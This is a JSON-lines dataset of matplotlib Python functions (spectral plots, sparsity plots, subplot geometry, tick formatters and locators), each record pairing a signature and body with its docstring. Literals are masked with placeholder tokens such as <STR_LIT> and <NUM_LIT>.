{"signature": "def psd(self, x, NFFT=<NUM_LIT>, Fs=<NUM_LIT:2>, Fc=<NUM_LIT:0>, detrend=mlab.detrend_none,<EOL>window=mlab.window_hanning, noverlap=<NUM_LIT:0>, pad_to=None,<EOL>sides='<STR_LIT:default>', scale_by_freq=None, **kwargs):", "body": "if not self._hold: self.cla()<EOL>pxx, freqs = mlab.psd(x, NFFT, Fs, detrend, window, noverlap, pad_to,<EOL>sides, scale_by_freq)<EOL>pxx.shape = len(freqs),<EOL>freqs += Fc<EOL>if scale_by_freq in (None, True):<EOL><INDENT>psd_units = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>psd_units = '<STR_LIT>'<EOL><DEDENT>self.plot(freqs, <NUM_LIT:10>*np.log10(pxx), **kwargs)<EOL>self.set_xlabel('<STR_LIT>')<EOL>self.set_ylabel('<STR_LIT>' % psd_units)<EOL>self.grid(True)<EOL>vmin, vmax = self.viewLim.intervaly<EOL>intv = vmax-vmin<EOL>logi = int(np.log10(intv))<EOL>if logi==<NUM_LIT:0>: logi=<NUM_LIT><EOL>step = <NUM_LIT:10>*logi<EOL>ticks = np.arange(math.floor(vmin), math.ceil(vmax)+<NUM_LIT:1>, step)<EOL>self.set_yticks(ticks)<EOL>return pxx, freqs<EOL>", "docstring": "call signature::\n\n  psd(x, NFFT=256, Fs=2, Fc=0, detrend=mlab.detrend_none,\n      window=mlab.window_hanning, noverlap=0, pad_to=None,\n      sides='default', scale_by_freq=None, **kwargs)\n\nThe power spectral density by Welch's average periodogram\nmethod.  The vector *x* is divided into *NFFT* length\nsegments.  Each segment is detrended by function *detrend* and\nwindowed by function *window*.  *noverlap* gives the length of\nthe overlap between segments.  The :math:`|\\mathrm{fft}(i)|^2`\nof each segment :math:`i` are averaged to compute *Pxx*, with a\nscaling to correct for power loss due to windowing.  *Fs* is the\nsampling frequency.\n\n%(PSD)s\n\n  *Fc*: integer\n    The center frequency of *x* (defaults to 0), which offsets\n    the x extents of the plot to reflect the frequency range used\n    when a signal is acquired and then filtered and downsampled to\n    baseband.\n\nReturns the tuple (*Pxx*, *freqs*).\n\nFor plotting, the power is plotted as\n:math:`10\\log_{10}(P_{xx})` for decibels, though *Pxx* itself\nis returned.\n\nReferences:\n  Bendat & Piersol -- Random Data: Analysis and Measurement\n  Procedures, John Wiley & Sons (1986)\n\nkwargs control the :class:`~matplotlib.lines.Line2D` properties:\n\n%(Line2D)s\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/psd_demo.py", "id": "f17238:c1:m176"}
{"signature": "def csd(self, x, y, NFFT=<NUM_LIT>, Fs=<NUM_LIT:2>, Fc=<NUM_LIT:0>, detrend=mlab.detrend_none,<EOL>window=mlab.window_hanning, noverlap=<NUM_LIT:0>, pad_to=None,<EOL>sides='<STR_LIT:default>', scale_by_freq=None, **kwargs):", "body": "if not self._hold: self.cla()<EOL>pxy, freqs = mlab.csd(x, y, NFFT, Fs, detrend, window, noverlap,<EOL>pad_to, sides, scale_by_freq)<EOL>pxy.shape = len(freqs),<EOL>freqs += Fc<EOL>self.plot(freqs, <NUM_LIT:10>*np.log10(np.absolute(pxy)), **kwargs)<EOL>self.set_xlabel('<STR_LIT>')<EOL>self.set_ylabel('<STR_LIT>')<EOL>self.grid(True)<EOL>vmin, vmax = self.viewLim.intervaly<EOL>intv = vmax-vmin<EOL>step = <NUM_LIT:10>*int(np.log10(intv))<EOL>ticks = np.arange(math.floor(vmin), math.ceil(vmax)+<NUM_LIT:1>, step)<EOL>self.set_yticks(ticks)<EOL>return pxy, freqs<EOL>", "docstring": "call signature::\n\n  csd(x, y, NFFT=256, Fs=2, Fc=0, detrend=mlab.detrend_none,\n      window=mlab.window_hanning, noverlap=0, pad_to=None,\n      sides='default', scale_by_freq=None, **kwargs)\n\nThe cross spectral density :math:`P_{xy}` by Welch's average\nperiodogram method.  The vectors *x* and *y* are divided into\n*NFFT* length segments.  Each segment is detrended by function\n*detrend* and windowed by function *window*.  The product of\nthe direct FFTs of *x* and *y* are averaged over each segment\nto compute :math:`P_{xy}`, with a scaling to correct for power\nloss due to windowing.\n\nReturns the tuple (*Pxy*, *freqs*).  *P* is the cross spectrum\n(complex valued), and :math:`10\\log_{10}|P_{xy}|` is\nplotted.\n\n%(PSD)s\n\n  *Fc*: integer\n    The center frequency of *x* (defaults to 0), which offsets\n    the x extents of the plot to reflect the frequency range used\n    when a signal is acquired and then filtered and downsampled to\n    baseband.\n\nReferences:\n  Bendat & Piersol -- Random Data: Analysis and Measurement\n  Procedures, John Wiley & Sons (1986)\n\nkwargs control the Line2D properties:\n\n%(Line2D)s\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/csd_demo.py\n\n.. seealso:\n    :meth:`psd`\n        For a description of the optional parameters.", "id": "f17238:c1:m177"}
{"signature": "def cohere(self, x, y, NFFT=<NUM_LIT>, Fs=<NUM_LIT:2>, Fc=<NUM_LIT:0>, detrend=mlab.detrend_none,<EOL>window=mlab.window_hanning, noverlap=<NUM_LIT:0>, pad_to=None,<EOL>sides='<STR_LIT:default>', scale_by_freq=None, **kwargs):", "body": "if not self._hold: self.cla()<EOL>cxy, freqs = mlab.cohere(x, y, NFFT, Fs, detrend, window, noverlap,<EOL>scale_by_freq)<EOL>freqs += Fc<EOL>self.plot(freqs, cxy, **kwargs)<EOL>self.set_xlabel('<STR_LIT>')<EOL>self.set_ylabel('<STR_LIT>')<EOL>self.grid(True)<EOL>return cxy, freqs<EOL>", "docstring": "call signature::\n\n  cohere(x, y, NFFT=256, Fs=2, Fc=0, detrend = mlab.detrend_none,\n         window = mlab.window_hanning, noverlap=0, pad_to=None,\n         sides='default', scale_by_freq=None, **kwargs)\n\ncohere the coherence between *x* and *y*.  Coherence is the normalized\ncross spectral density:\n\n.. math::\n\n  C_{xy} = \\\\frac{|P_{xy}|^2}{P_{xx}P_{yy}}\n\n%(PSD)s\n\n  *Fc*: integer\n    The center frequency of *x* (defaults to 0), which offsets\n    the x extents of the plot to reflect the frequency range used\n    when a signal is acquired and then filtered and downsampled to\n    baseband.\n\nThe return value is a tuple (*Cxy*, *f*), where *f* are the\nfrequencies of the coherence vector.\n\nkwargs are applied to the lines.\n\nReferences:\n\n  * Bendat & Piersol -- Random Data: Analysis and Measurement\n    Procedures, John Wiley & Sons (1986)\n\nkwargs control the :class:`~matplotlib.lines.Line2D`\nproperties of the coherence plot:\n\n%(Line2D)s\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/cohere_demo.py", "id": "f17238:c1:m178"}
{"signature": "def specgram(self, x, NFFT=<NUM_LIT>, Fs=<NUM_LIT:2>, Fc=<NUM_LIT:0>, detrend=mlab.detrend_none,<EOL>window=mlab.window_hanning, noverlap=<NUM_LIT>,<EOL>cmap=None, xextent=None, pad_to=None, sides='<STR_LIT:default>',<EOL>scale_by_freq=None):", "body": "if not self._hold: self.cla()<EOL>Pxx, freqs, bins = mlab.specgram(x, NFFT, Fs, detrend,<EOL>window, noverlap, pad_to, sides, scale_by_freq)<EOL>Z = <NUM_LIT> * np.log10(Pxx)<EOL>Z = np.flipud(Z)<EOL>if xextent is None: xextent = <NUM_LIT:0>, np.amax(bins)<EOL>xmin, xmax = xextent<EOL>freqs += Fc<EOL>extent = xmin, xmax, freqs[<NUM_LIT:0>], freqs[-<NUM_LIT:1>]<EOL>im = self.imshow(Z, cmap, extent=extent)<EOL>self.axis('<STR_LIT>')<EOL>return Pxx, freqs, bins, im<EOL>", "docstring": "call signature::\n\n  specgram(x, NFFT=256, Fs=2, Fc=0, detrend=mlab.detrend_none,\n           window=mlab.window_hanning, noverlap=128,\n           cmap=None, xextent=None, pad_to=None, sides='default',\n           scale_by_freq=None)\n\nCompute a spectrogram of data in *x*.  Data are split into\n*NFFT* length segments and the PSD of each section is\ncomputed.  The windowing function *window* is applied to each\nsegment, and the amount of overlap of each segment is\nspecified with *noverlap*.\n\n%(PSD)s\n\n  *Fc*: integer\n    The center frequency of *x* (defaults to 0), which offsets\n    the y extents of the plot to reflect the frequency range used\n    when a signal is acquired and then filtered and downsampled to\n    baseband.\n\n  *cmap*:\n    A :class:`matplotlib.cm.Colormap` instance; if *None* use\n    default determined by rc\n\n  *xextent*:\n    The image extent along the x-axis. xextent = (xmin,xmax)\n    The default is (0,max(bins)), where bins is the return\n    value from :func:`mlab.specgram`\n\nReturn value is (*Pxx*, *freqs*, *bins*, *im*):\n\n  - *bins* are the time points the spectrogram is calculated over\n  - *freqs* is an array of frequencies\n  - *Pxx* is a len(times) x len(freqs) array of power\n  - *im* is a :class:`matplotlib.image.AxesImage` instance\n\nNote: If *x* is real (i.e. non-complex), only the positive\nspectrum is shown.  If *x* is complex, both positive and\nnegative parts of the spectrum are shown.  This can be\noverridden using the *sides* keyword argument.\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/specgram_demo.py", "id": "f17238:c1:m179"}
{"signature": "def spy(self, Z, precision=<NUM_LIT:0>, marker=None, markersize=None,<EOL>aspect='<STR_LIT>',  **kwargs):", "body": "if precision is None:<EOL><INDENT>precision = <NUM_LIT:0><EOL>warnings.DeprecationWarning(\"<STR_LIT>\")<EOL><DEDENT>if marker is None and markersize is None and hasattr(Z, '<STR_LIT>'):<EOL><INDENT>marker = '<STR_LIT:s>'<EOL><DEDENT>if marker is None and markersize is None:<EOL><INDENT>Z = np.asarray(Z)<EOL>mask = np.absolute(Z)>precision<EOL>if '<STR_LIT>' not in kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = mcolors.ListedColormap(['<STR_LIT:w>', '<STR_LIT:k>'],<EOL>name='<STR_LIT>')<EOL><DEDENT>nr, nc = Z.shape<EOL>extent = [-<NUM_LIT:0.5>, nc-<NUM_LIT:0.5>, nr-<NUM_LIT:0.5>, -<NUM_LIT:0.5>]<EOL>ret = self.imshow(mask, interpolation='<STR_LIT>', aspect=aspect,<EOL>extent=extent, origin='<STR_LIT>', **kwargs)<EOL><DEDENT>else:<EOL><INDENT>if hasattr(Z, '<STR_LIT>'):<EOL><INDENT>c = Z.tocoo()<EOL>if precision == '<STR_LIT>':<EOL><INDENT>y = c.row<EOL>x = c.col<EOL><DEDENT>else:<EOL><INDENT>nonzero = np.absolute(c.data) > precision<EOL>y = c.row[nonzero]<EOL>x = c.col[nonzero]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>Z = np.asarray(Z)<EOL>nonzero = np.absolute(Z)>precision<EOL>y, x = np.nonzero(nonzero)<EOL><DEDENT>if marker is None: marker = '<STR_LIT:s>'<EOL>if markersize is None: markersize = <NUM_LIT:10><EOL>marks = mlines.Line2D(x, y, linestyle='<STR_LIT:None>',<EOL>marker=marker, markersize=markersize, **kwargs)<EOL>self.add_line(marks)<EOL>nr, nc = Z.shape<EOL>self.set_xlim(xmin=-<NUM_LIT:0.5>, xmax=nc-<NUM_LIT:0.5>)<EOL>self.set_ylim(ymin=nr-<NUM_LIT:0.5>, ymax=-<NUM_LIT:0.5>)<EOL>self.set_aspect(aspect)<EOL>ret = marks<EOL><DEDENT>self.title.set_y(<NUM_LIT>)<EOL>self.xaxis.tick_top()<EOL>self.xaxis.set_ticks_position('<STR_LIT>')<EOL>self.xaxis.set_major_locator(mticker.MaxNLocator(nbins=<NUM_LIT:9>,<EOL>steps=[<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:5>, <NUM_LIT:10>],<EOL>integer=True))<EOL>self.yaxis.set_major_locator(mticker.MaxNLocator(nbins=<NUM_LIT:9>,<EOL>steps=[<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:5>, <NUM_LIT:10>],<EOL>integer=True))<EOL>return ret<EOL>", "docstring": "call signature::\n\n  spy(Z, precision=0, marker=None, markersize=None,\n      aspect='equal', **kwargs)\n\n``spy(Z)`` plots the sparsity pattern of the 2-D array *Z*.\n\nIf *precision* is 0, any non-zero value will be plotted;\nelse, values of :math:`|Z| > precision` will be plotted.\n\nFor :class:`scipy.sparse.spmatrix` instances, there is a\nspecial case: if *precision* is 'present', any value present in\nthe array will be plotted, even if it is identically zero.\n\nThe array will be plotted as it would be printed, with\nthe first index (row) increasing down and the second\nindex (column) increasing to the right.\n\nBy default aspect is 'equal', so that each array element\noccupies a square space; set the aspect kwarg to 'auto'\nto allow the plot to fill the plot box, or to any scalar\nnumber to specify the aspect ratio of an array element\ndirectly.\n\nTwo plotting styles are available: image or marker. Both\nare available for full arrays, but only the marker style\nworks for :class:`scipy.sparse.spmatrix` instances.\n\nIf *marker* and *markersize* are *None*, an image will be\nreturned and any remaining kwargs are passed to\n:func:`~matplotlib.pyplot.imshow`; else, a\n:class:`~matplotlib.lines.Line2D` object will be returned with\nthe value of marker determining the marker type, and any\nremaining kwargs passed to the\n:meth:`~matplotlib.axes.Axes.plot` method.\n\nIf *marker* and *markersize* are *None*, useful kwargs include:\n\n* *cmap*\n* *alpha*\n\n.. seealso::\n    :func:`~matplotlib.pyplot.imshow`\n\nFor controlling colors, e.g. cyan background and red marks,\nuse::\n\n  cmap = mcolors.ListedColormap(['c','r'])\n\nIf *marker* or *markersize* is not *None*, useful kwargs include:\n\n* *marker*\n* *markersize*\n* *color*\n\nUseful values for *marker* include:\n\n* 's'  square (default)\n* 'o'  circle\n* '.'  point\n* ','  pixel\n\n.. seealso::\n    :func:`~matplotlib.pyplot.plot`", "id": "f17238:c1:m180"}
{"signature": "def matshow(self, Z, **kwargs):", "body": "Z = np.asarray(Z)<EOL>nr, nc = Z.shape<EOL>extent = [-<NUM_LIT:0.5>, nc-<NUM_LIT:0.5>, nr-<NUM_LIT:0.5>, -<NUM_LIT:0.5>]<EOL>kw = {'<STR_LIT>': extent,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'}          <EOL>kw.update(kwargs)<EOL>im = self.imshow(Z, **kw)<EOL>self.title.set_y(<NUM_LIT>)<EOL>self.xaxis.tick_top()<EOL>self.xaxis.set_ticks_position('<STR_LIT>')<EOL>self.xaxis.set_major_locator(mticker.MaxNLocator(nbins=<NUM_LIT:9>,<EOL>steps=[<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:5>, <NUM_LIT:10>],<EOL>integer=True))<EOL>self.yaxis.set_major_locator(mticker.MaxNLocator(nbins=<NUM_LIT:9>,<EOL>steps=[<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:5>, <NUM_LIT:10>],<EOL>integer=True))<EOL>return im<EOL>", "docstring": "Plot a matrix or array as an image.\n\nThe matrix will be shown the way it would be printed,\nwith the first row at the top.  Row and column numbering\nis zero-based.\n\nArgument:\n    *Z*   anything that can be interpreted as a 2-D array\n\nkwargs all are passed to :meth:`~matplotlib.axes.Axes.imshow`.\n:meth:`matshow` sets defaults for *extent*, *origin*,\n*interpolation*, and *aspect*; use care in overriding the\n*extent* and *origin* kwargs, because they interact.  (Also,\nif you want to change them, you probably should be using\nimshow directly in your own version of matshow.)\n\nReturns: an :class:`matplotlib.image.AxesImage` instance.", "id": "f17238:c1:m181"}
{"signature": "def __init__(self, fig, *args, **kwargs):", "body": "self.figure = fig<EOL>if len(args)==<NUM_LIT:1>:<EOL><INDENT>s = str(args[<NUM_LIT:0>])<EOL>if len(s) != <NUM_LIT:3>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>rows, cols, num = list(map(int, s))<EOL><DEDENT>elif len(args)==<NUM_LIT:3>:<EOL><INDENT>rows, cols, num = args<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(  '<STR_LIT>')<EOL><DEDENT>total = rows*cols<EOL>num -= <NUM_LIT:1>    <EOL>if num >= total:<EOL><INDENT>raise ValueError( '<STR_LIT>')<EOL><DEDENT>self._rows = rows<EOL>self._cols = cols<EOL>self._num = num<EOL>self.update_params()<EOL>self._axes_class.__init__(self, fig, self.figbox, **kwargs)<EOL>", "docstring": "*fig* is a :class:`matplotlib.figure.Figure` instance.\n\n*args* is the tuple (*numRows*, *numCols*, *plotNum*), where\nthe array of subplots in the figure has dimensions *numRows*,\n*numCols*, and where *plotNum* is the number of the subplot\nbeing created.  *plotNum* starts at 1 in the upper left\ncorner and increases to the right.\n\nIf *numRows* <= *numCols* <= *plotNum* < 10, *args* can be the\ndecimal integer *numRows* * 100 + *numCols* * 10 + *plotNum*.", "id": "f17238:c2:m0"}
{"signature": "def get_geometry(self):", "body": "return self._rows, self._cols, self._num+<NUM_LIT:1><EOL>", "docstring": "get the subplot geometry, eg 2,2,3", "id": "f17238:c2:m1"}
{"signature": "def change_geometry(self, numrows, numcols, num):", "body": "self._rows = numrows<EOL>self._cols = numcols<EOL>self._num = num-<NUM_LIT:1><EOL>self.update_params()<EOL>self.set_position(self.figbox)<EOL>", "docstring": "change subplot geometry, eg. from 1,1,1 to 2,2,3", "id": "f17238:c2:m2"}
{"signature": "def update_params(self):", "body": "rows = self._rows<EOL>cols = self._cols<EOL>num = self._num<EOL>pars = self.figure.subplotpars<EOL>left = pars.left<EOL>right = pars.right<EOL>bottom = pars.bottom<EOL>top = pars.top<EOL>wspace = pars.wspace<EOL>hspace = pars.hspace<EOL>totWidth = right-left<EOL>totHeight = top-bottom<EOL>figH = totHeight/(rows + hspace*(rows-<NUM_LIT:1>))<EOL>sepH = hspace*figH<EOL>figW = totWidth/(cols + wspace*(cols-<NUM_LIT:1>))<EOL>sepW = wspace*figW<EOL>rowNum, colNum =  divmod(num, cols)<EOL>figBottom = top - (rowNum+<NUM_LIT:1>)*figH - rowNum*sepH<EOL>figLeft = left + colNum*(figW + sepW)<EOL>self.figbox = mtransforms.Bbox.from_bounds(figLeft, figBottom,<EOL>figW, figH)<EOL>self.rowNum = rowNum<EOL>self.colNum = colNum<EOL>self.numRows = rows<EOL>self.numCols = cols<EOL>if <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>', rows, cols, num)<EOL>print('<STR_LIT>', left, bottom, right, top)<EOL>print('<STR_LIT>', self.figBottom)<EOL>print('<STR_LIT>', self.figLeft)<EOL>print('<STR_LIT>', self.figW)<EOL>print('<STR_LIT>', self.figH)<EOL>print('<STR_LIT>', self.rowNum)<EOL>print('<STR_LIT>', self.colNum)<EOL>print('<STR_LIT>', self.numRows)<EOL>print('<STR_LIT>', self.numCols)<EOL><DEDENT>", "docstring": "update the subplot position from fig.subplotpars", "id": "f17238:c2:m3"}
{"signature": "def label_outer(self):", "body": "lastrow = self.is_last_row()<EOL>firstcol = self.is_first_col()<EOL>for label in self.get_xticklabels():<EOL><INDENT>label.set_visible(lastrow)<EOL><DEDENT>for label in self.get_yticklabels():<EOL><INDENT>label.set_visible(firstcol)<EOL><DEDENT>", "docstring": "set the visible property on ticklabels so xticklabels are\nvisible only if the subplot is in the last row and yticklabels\nare visible only if the subplot is in the first column", "id": "f17238:c2:m8"}
{"signature": "def decade_down(x, base=<NUM_LIT:10>):", "body": "lx = math.floor(math.log(x)/math.log(base))<EOL>return base**lx<EOL>", "docstring": "floor x to the nearest lower decade", "id": "f17239:m2"}
{"signature": "def decade_up(x, base=<NUM_LIT:10>):", "body": "lx = math.ceil(math.log(x)/math.log(base))<EOL>return base**lx<EOL>", "docstring": "ceil x to the nearest higher decade", "id": "f17239:m3"}
{"signature": "def __call__(self, x, pos=None):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Return the format for tick val x at position pos; pos=None indicated unspecified", "id": "f17239:c1:m0"}
{"signature": "def format_data_short(self,value):", "body": "return self.format_data(value)<EOL>", "docstring": "return a short string version", "id": "f17239:c1:m2"}
{"signature": "def fix_minus(self, s):", "body": "return s<EOL>", "docstring": "some classes may want to replace a hyphen for minus with the\nproper unicode symbol as described `here\n<http://sourceforge.net/tracker/index.php?func=detail&aid=1962574&group_id=80706&atid=560720>`_.\nThe default is to do nothing\n\nNote, if you use this method, eg in :meth`format_data` or\ncall, you probably don't want to use it for\n:meth:`format_data_short` since the toolbar uses this for\ninterative coord reporting and I doubt we can expect GUIs\nacross platforms will handle the unicode correctly.  So for\nnow the classes that override :meth:`fix_minus` should have an\nexplicit :meth:`format_data_short` method", "id": "f17239:c1:m5"}
{"signature": "def __call__(self, x, pos=None):", "body": "return '<STR_LIT>'<EOL>", "docstring": "Return the format for tick val *x* at position *pos*", "id": "f17239:c2:m0"}
{"signature": "def __init__(self, seq):", "body": "self.seq = seq<EOL>self.offset_string = '<STR_LIT>'<EOL>", "docstring": "seq is a sequence of strings.  For positions `i<len(seq)` return\n*seq[i]* regardless of *x*.  Otherwise return ''", "id": "f17239:c3:m0"}
{"signature": "def __call__(self, x, pos=None):", "body": "if pos is None or pos>=len(self.seq): return '<STR_LIT>'<EOL>else: return self.seq[pos]<EOL>", "docstring": "Return the format for tick val *x* at position *pos*", "id": "f17239:c3:m1"}
{"signature": "def __call__(self, x, pos=None):", "body": "return self.func(x, pos)<EOL>", "docstring": "Return the format for tick val *x* at position *pos*", "id": "f17239:c4:m1"}
{"signature": "def __call__(self, x, pos=None):", "body": "return self.fmt % x<EOL>", "docstring": "Return the format for tick val *x* at position *pos*", "id": "f17239:c5:m1"}
{"signature": "def __call__(self, x, pos=None):", "body": "xmin, xmax = self.axis.get_view_interval()<EOL>d = abs(xmax - xmin)<EOL>return self.pprint_val(x,d)<EOL>", "docstring": "Return the format for tick val *x* at position *pos*", "id": "f17239:c6:m0"}
{"signature": "def fix_minus(self, s):", "body": "if rcParams['<STR_LIT>'] or not rcParams['<STR_LIT>']: return s<EOL>else: return s.replace('<STR_LIT:->', '<STR_LIT>')<EOL>", "docstring": "use a unicode minus rather than hyphen", "id": "f17239:c7:m1"}
{"signature": "def __call__(self, x, pos=None):", "body": "if len(self.locs)==<NUM_LIT:0>:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>s = self.pprint_val(x)<EOL>return self.fix_minus(s)<EOL><DEDENT>", "docstring": "Return the format for tick val *x* at position *pos*", "id": "f17239:c7:m2"}
{"signature": "def set_scientific(self, b):", "body": "self._scientific = bool(b)<EOL>", "docstring": "True or False to turn scientific notation on or off\n        see also :meth:`set_powerlimits`", "id": "f17239:c7:m3"}
{"signature": "def set_powerlimits(self, lims):", "body": "assert len(lims) == <NUM_LIT:2>, \"<STR_LIT>\"<EOL>self._powerlimits = lims<EOL>", "docstring": "Sets size thresholds for scientific notation.\n\ne.g. ``xaxis.set_powerlimits((-3, 4))`` sets the pre-2007 default in\nwhich scientific notation is used for numbers less than\n1e-3 or greater than 1e4.\nSee also :meth:`set_scientific`.", "id": "f17239:c7:m4"}
{"signature": "def format_data_short(self,value):", "body": "return '<STR_LIT>'%value<EOL>", "docstring": "return a short formatted string representation of a number", "id": "f17239:c7:m5"}
{"signature": "def format_data(self,value):", "body": "s =  self._formatSciNotation('<STR_LIT>'% value)<EOL>return self.fix_minus(s)<EOL>", "docstring": "return a formatted string representation of a number", "id": "f17239:c7:m6"}
{"signature": "def get_offset(self):", "body": "if len(self.locs)==<NUM_LIT:0>: return '<STR_LIT>'<EOL>s = '<STR_LIT>'<EOL>if self.orderOfMagnitude or self.offset:<EOL><INDENT>offsetStr = '<STR_LIT>'<EOL>sciNotStr = '<STR_LIT>'<EOL>if self.offset:<EOL><INDENT>offsetStr = self.format_data(self.offset)<EOL>if self.offset > <NUM_LIT:0>: offsetStr = '<STR_LIT:+>' + offsetStr<EOL><DEDENT>if self.orderOfMagnitude:<EOL><INDENT>if self._usetex or self._useMathText:<EOL><INDENT>sciNotStr = self.format_data(<NUM_LIT:10>**self.orderOfMagnitude)<EOL><DEDENT>else:<EOL><INDENT>sciNotStr = '<STR_LIT>'% self.orderOfMagnitude<EOL><DEDENT><DEDENT>if self._useMathText:<EOL><INDENT>if sciNotStr != '<STR_LIT>':<EOL><INDENT>sciNotStr = r'<STR_LIT>' % sciNotStr<EOL><DEDENT>s = '<STR_LIT>'.join(('<STR_LIT:$>',sciNotStr,r'<STR_LIT>',offsetStr,'<STR_LIT>'))<EOL><DEDENT>elif self._usetex:<EOL><INDENT>if sciNotStr != '<STR_LIT>':<EOL><INDENT>sciNotStr = r'<STR_LIT>' % sciNotStr<EOL><DEDENT>s =  '<STR_LIT>'.join(('<STR_LIT:$>',sciNotStr,offsetStr,'<STR_LIT:$>'))<EOL><DEDENT>else:<EOL><INDENT>s =  '<STR_LIT>'.join((sciNotStr,offsetStr))<EOL><DEDENT><DEDENT>return self.fix_minus(s)<EOL>", "docstring": "Return scientific notation, plus offset", "id": "f17239:c7:m7"}
{"signature": "def set_locs(self, locs):", "body": "self.locs = locs<EOL>if len(self.locs) > <NUM_LIT:0>:<EOL><INDENT>vmin, vmax = self.axis.get_view_interval()<EOL>d = abs(vmax-vmin)<EOL>if self._useOffset: self._set_offset(d)<EOL>self._set_orderOfMagnitude(d)<EOL>self._set_format()<EOL><DEDENT>", "docstring": "set the locations of the ticks", "id": "f17239:c7:m8"}
{"signature": "def __init__(self, base=<NUM_LIT>, labelOnlyBase = True):", "body": "self._base = base+<NUM_LIT:0.0><EOL>self.labelOnlyBase=labelOnlyBase<EOL>self.decadeOnly = True<EOL>", "docstring": "*base* is used to locate the decade tick,\nwhich will be the only one to be labeled if *labelOnlyBase*\nis ``False``", "id": "f17239:c8:m0"}
{"signature": "def base(self,base):", "body": "self._base=base<EOL>", "docstring": "change the *base* for labeling - warning: should always match the base used for :class:`LogLocator`", "id": "f17239:c8:m1"}
{"signature": "def label_minor(self,labelOnlyBase):", "body": "self.labelOnlyBase=labelOnlyBase<EOL>", "docstring": "switch on/off minor ticks labeling", "id": "f17239:c8:m2"}
{"signature": "def __call__(self, x, pos=None):", "body": "vmin, vmax = self.axis.get_view_interval()<EOL>d = abs(vmax - vmin)<EOL>b=self._base<EOL>if x == <NUM_LIT:0.0>:<EOL><INDENT>return '<STR_LIT:0>'<EOL><DEDENT>sign = np.sign(x)<EOL>fx = math.log(abs(x))/math.log(b)<EOL>isDecade = self.is_decade(fx)<EOL>if not isDecade and self.labelOnlyBase: s = '<STR_LIT>'<EOL>elif x><NUM_LIT>: s= '<STR_LIT>'%x<EOL>elif x<<NUM_LIT:1>: s =  '<STR_LIT>'%x<EOL>else        : s =  self.pprint_val(x,d)<EOL>if sign == -<NUM_LIT:1>:<EOL><INDENT>s =  '<STR_LIT>' % s<EOL><DEDENT>return self.fix_minus(s)<EOL>", "docstring": "Return the format for tick val *x* at position *pos*", "id": "f17239:c8:m3"}
{"signature": "def format_data_short(self,value):", "body": "return '<STR_LIT>'%value<EOL>", "docstring": "return a short formatted string representation of a number", "id": "f17239:c8:m5"}
{"signature": "def __call__(self, x, pos=None):", "body": "vmin, vmax = self.axis.get_view_interval()<EOL>vmin, vmax = mtransforms.nonsingular(vmin, vmax, expander = <NUM_LIT>)<EOL>d = abs(vmax-vmin)<EOL>b=self._base<EOL>if x == <NUM_LIT:0>:<EOL><INDENT>return '<STR_LIT:0>'<EOL><DEDENT>sign = np.sign(x)<EOL>fx = math.log(abs(x))/math.log(b)<EOL>isDecade = self.is_decade(fx)<EOL>if not isDecade and self.labelOnlyBase: s = '<STR_LIT>'<EOL>elif fx><NUM_LIT>: s= '<STR_LIT>'%fx<EOL>elif fx<<NUM_LIT:1>: s =  '<STR_LIT>'%fx<EOL>else        : s =  self.pprint_val(fx,d)<EOL>if sign == -<NUM_LIT:1>:<EOL><INDENT>s =  '<STR_LIT>' % s<EOL><DEDENT>return self.fix_minus(s)<EOL>", "docstring": "Return the format for tick val *x* at position *pos*", "id": "f17239:c9:m0"}
{"signature": "def __call__(self, x, pos=None):", "body": "b = self._base<EOL>if x == <NUM_LIT:0>:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>sign = np.sign(x)<EOL>fx = math.log(abs(x))/math.log(b)<EOL>isDecade = self.is_decade(fx)<EOL>usetex = rcParams['<STR_LIT>']<EOL>if sign == -<NUM_LIT:1>:<EOL><INDENT>sign_string = '<STR_LIT:->'<EOL><DEDENT>else:<EOL><INDENT>sign_string = '<STR_LIT>'<EOL><DEDENT>if not isDecade and self.labelOnlyBase: s = '<STR_LIT>'<EOL>elif not isDecade:<EOL><INDENT>if usetex:<EOL><INDENT>s = r'<STR_LIT>'% (sign_string, b, fx)<EOL><DEDENT>else:<EOL><INDENT>s = '<STR_LIT>'% (sign_string, b, fx)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if usetex:<EOL><INDENT>s = r'<STR_LIT>'% (sign_string, b, self.nearest_long(fx))<EOL><DEDENT>else:<EOL><INDENT>s = r'<STR_LIT>'% (sign_string, b, self.nearest_long(fx))<EOL><DEDENT><DEDENT>return s<EOL>", "docstring": "Return the format for tick val *x* at position *pos*", "id": "f17239:c10:m0"}
{"signature": "def __call__(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Return the locations of the ticks", "id": "f17239:c11:m0"}
{"signature": "def view_limits(self, vmin, vmax):", "body": "return mtransforms.nonsingular(vmin, vmax)<EOL>", "docstring": "select a scale for the range from vmin to vmax\n\nNormally This will be overridden.", "id": "f17239:c11:m1"}
{"signature": "def autoscale(self):", "body": "return self.view_limits(*self.axis.get_view_interval())<EOL>", "docstring": "autoscale the view limits", "id": "f17239:c11:m2"}
